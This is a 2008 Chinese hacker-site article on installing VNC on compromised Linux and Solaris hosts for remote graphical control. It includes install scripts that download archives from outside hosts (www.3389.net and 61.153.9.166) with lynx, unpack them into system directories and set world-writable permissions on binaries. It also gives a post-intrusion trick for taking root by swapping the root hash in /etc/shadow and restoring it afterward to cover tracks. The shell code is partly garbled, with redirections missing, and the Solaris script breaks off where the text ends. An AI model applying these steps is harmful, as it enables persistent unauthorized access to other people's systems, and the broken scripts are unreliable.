当前位置: 王朝网络 >> system >> 像win2000的终端服务一样远程控制unix

像win2000的终端服务一样远程控制unix

王朝system·作者佚名 2008-05-19

前段时间我们敬爱的榕哥写了远程安装vnc的文章，本来我以为他会接着写linux下的vnc安装，但却没了下文。由于以前我和x-laser研究过unix下的vnc安装，所以，今天就把一点心得写出来，错误之处，还请高手指正。

首先要来介绍一下vnc这个软件。国内对于vnc的研究比较少，只是到最近小榕才推广了一下，可是，对其强大的功能，也只是利用了一小部分。vnc是Virtual Network Computing的简称。http://www.uk.research.att.com/vnc的专门负责vnc开发的开发小组开发的。

vnc有点类似win2000的终端服务，相对于其他的远程控制软件，主要体现了五个优点。

1.vnc远程控制时,客户端的任何异常事故不会对服务端造成影响,就是说,如果你正在用vnc远程控制一台主机,你突然死机了,再用vnc连时,可以继续进行刚才的操作.

2.vnc的控制端很小,而且不需要任何安装,是居家旅行时的必备良药 :)而且vnc有java的控制端,不需要用任何其他工具,用浏览器就可以直接控制,比如ie或netscape

3.vnc实现了真正的跨平台,你可以在unix下控制windows,或者是在unix下控制windows,并不依赖操作平台是vnc最大的特色和优点.在本文中,我们将演示如何用windows来控制linux和solaris.

4.一个桌面可以同时被多个用户使用:)类似win2000终端的管理中的连接功能,交流非常方便,可做教学之用:)

5.vnc符合GNU风格,开放原代码,这是最大的好处,当然vnc的exploit在packetstorm上也可以找到.

vnc的控制原理也可以用下图方便的表示

vnc viewerXvnc(vnc server)applications

(vnc protocal) (X protocal)

这个控制是基于tcp/ip的,其中vnc server扮演了双重角色.vnc protocal是基于RFB protocal的,有兴趣的可以参照作者主页.这里不再赘述.

说了这么多了,现在就让我们开始动手来安装吧!首先以linux下的安装为例,我们可以用windows来控制linux的x-window. :)

把包传到linux的/tmp目录下(这里以/tmp为例,你也可以更换到其他的合适目录)

用tar命令解压缩,会得到一个vnc_x86_linux_2.0的目录

cd vnc_x86_linux_2.0进入后,接下来需要做的就是拷贝一些文件

首先我们

mkdir -p /usr/local/bin/vnc/classes建立一个目录

再

cp classes/* /usr/local/bin/vnc/classes

接着再

mv vncpasswd /usr/bin

mv vncserver /usr/bin

mv vncviewer /usr/bin

mv Xvnc /usr/bin

vncpasswd是设置vnc的控制密码，vncserver是安装脚本，vncviewer是主控端，Xvnc就是上面协议里的那个了.这里我们做的主要就是把软件包的classes目录移到/usr/local/bin/vnc目录下面，然后把vncpasswd，vncserver，vncviewer,Xvnc这几个配置的文件放到/usr/bin这个目录，这里最重要的就是vncserver和Xvnc这两个文件。

然后我们需要修改一下xstartup这个脚本.位置在/tmp/.vnc下,我们修改他来使用kde启动,如果有kde的话 :)因为默认是twm启动,用kde比较漂亮 :)

修改如下

echo "xrdb $HOME/.Xresources" xstartup

这句是让xrdb创建.Xresources文件

echo "xsetroot -solid grey" xstartup

echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'xstartup

这句是设置屏幕解析度和到文件

echo "startkde &" xstartup

这句是以kde启动

然后我们再用vncserver启动即可了 :)这样再用vncviewer连,输入密码后就可以看到漂亮的kde桌面了.

X-laser给我们写了一个本地安装vnc的脚本

------------------------------cut here----------------------------------------------------------

#!/bin/sh

echo "This vnc install(rdehat *)"

echo "author:X-Laser"

echo "这里是幻影旅团（www.3389.net）"

echo " 中国刺客网（www.thugx.com）"

lynx -dump www.3389.net/vnc.tgz /tmp/.vnc.tgz

if chmod 777 /usr/X11R6/bin/twm

then

echo "checke x-server ok"

else

lynx -dump 61.153.9.166/bin.tar /usr/X11R6/

lynx -dump 61.153.9.166/lib.tar /usr/X11R6/

tar -xvf /usr/X11R6/bin.tar

tar -xvf /usr/X11R6/lib.tar

cd /tmp;tar -zxvf .vnc.tgz;

mkdir .sh

cd vnc_x86_linux_2.0

cp /usr/X11R6/bin/xauth /usr/bin; chmod 777 /usr/bin/xauth

mkdir -p /usr/local/vnc/classes

mkdir -p $HOME/.vnc

mkdir twm

cp classes/* /usr/local/vnc/classes

mv vncpasswd /usr/bin

mv vncserver /usr/bin

mv vncviewer /usr/bin

mv Xvnc /usr/bin

echo "请输入选择的启动的界面 "

echo "twm 界面,简陋型"

echo "kde 标准界面"

read vncgui

if cd $vncgui

then

echo "您选择了twm界面"

else

"您已经选择了kde标准界面"

cd $HOME/.vnc

echo "#!/bin/sh" xstartup

echo "" startup

echo "xrdb $HOME/.Xresources" xstartup

echo "xsetroot -solid grey" xstartup

echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'xstartup

echo "startkde &" xstartup

echo "请输入密码长度5或者位以上"

vncserver

echo "您的vnc服务端口"

netstat -an |grep 590

echo "您的http连接vnc端口"

netstat -an |grep 580

echo "安装程序结束"

-------------------------------------------cut here------------------------------------------

注意事项,由于vnc安装时与环境变量密切相关,所以请以正常用户安装(建议以root权限安装,这样有时候很多权限不够的问题可以避免)如果是以溢出后的uid=0的权限或者是suid的euid=0的权限来安装,都有可能遇到环境变量的问题.

黑客的小技巧:黑客入侵的后,可以用溢出的uid=0或euid=0的权限通过修改shadow的方法来改变root的密码,然后su到root,这样就不会有环境变量的问题了.具体实现如下

1.先建立一个用户,再用passwd修改密码

2.把shadow备份,然后把shadow中root的密码的hash替换成自己刚建立的用户的密码的hash,然后再su到root,进行操作

3.操作完成,退出root,再把刚才备份的替换回来.

安装好后,会有两个端口,一个是590x,一个是580x.因为安装时端口不是固定的.590x的端口是服务连接端口，而580x绑定了applet小程序，用web连接此端口会自动运行applet，从而达到网页访问效果，就是我前面提到的可以用浏览器来控制一样，最大限度的实现了跨平台。

现在我们来讲vnc在solaris下的安装，安装过程与在linux下安装几乎是一模一样的.不同的是sunos需要自己把包传到/tmp目录下，而linux下的安装则由脚本控制lynx自动下载，因为很多sunos都没lynx的缘故。同样在安装过程中需要root身份安装（不仅仅是uid=0哦！！）x-laser也为我们写了个本地安装的脚本

----------------------------------------cut here---------------------------------------------

#安装时请以root权限安装

#!/bin/sh

echo "This vnc install(sunos ALL *)"

echo "author:X-Laser"

echo "这里是幻影旅团（www.3389.net）"

echo " 中国刺客网（www.thugx.com）"

if chmod 777 /usr/openwin/bin/xauth

then

echo "ok vnc -install start"

tar -xvf sunos.tar

cd vnc_sun4_sosV_5.5